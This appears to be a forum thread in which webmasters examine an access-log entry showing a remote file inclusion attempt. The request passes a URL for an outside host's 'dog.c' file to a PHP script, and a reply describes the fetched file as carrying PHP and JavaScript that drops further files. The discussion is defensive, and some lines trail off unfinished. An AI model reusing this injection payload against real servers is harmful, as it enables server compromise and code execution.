Forum Moderators: coopster
192.168.1.1 - - [09/Apr/2007:12:37:44 +0100] "GET help/test.php?stats=http: //xx.#*$!.#*$!.#*$!/img/script.obscured? HTTP/1.1" 404 18 "-" "libwww-perl/5.64" In:- Out:-:-pct.
The very best advice, of course, is to make sure that your scripts are not vulnerable to such exploits.
[edited by: eelixduppy at 9:05 pm (utc) on April 10, 2007]
[edit reason] obfuscated IPs [/edit]
<access-IP-obscured> - - [09/Apr/2007:12:37:44 +0100] "GET /help/test.php?stats=http://<root-kit-IP-obscured>/img/dog.c? HTTP/1.1" 404 18 "-" "libwww-perl/5.64" In:- Out:-:-pct.
fgrep "img/dog.c" access_log ¦ less(remember to convert the `¦' [pipe-character] to an *actual* pipe-character)
Other variants used on the above are:
HTH.
The hack-script (if successful, of course) would have attempted to drop a file onto the server. The file to locate is:
What did you discover about the file?
Also, did you happen to check out the browser vulnerability [webmasterworld.com] I recently posted?
What did you discover about the file?
In spite of the name of the source-file (dog.c), what comes down is a very standard HTML page (either 4.01, or possibly xhtml transitional). There are PHP statements embedded, and a very large slab of Javascript. It seeks to either drop some more files from the same IP on the server (browser computer?) or, if already present, make use of them. I did notice that it was designed to discriminate between Linux and Windows machines. My best guess (only 30 secs remember) was key-logging or some such.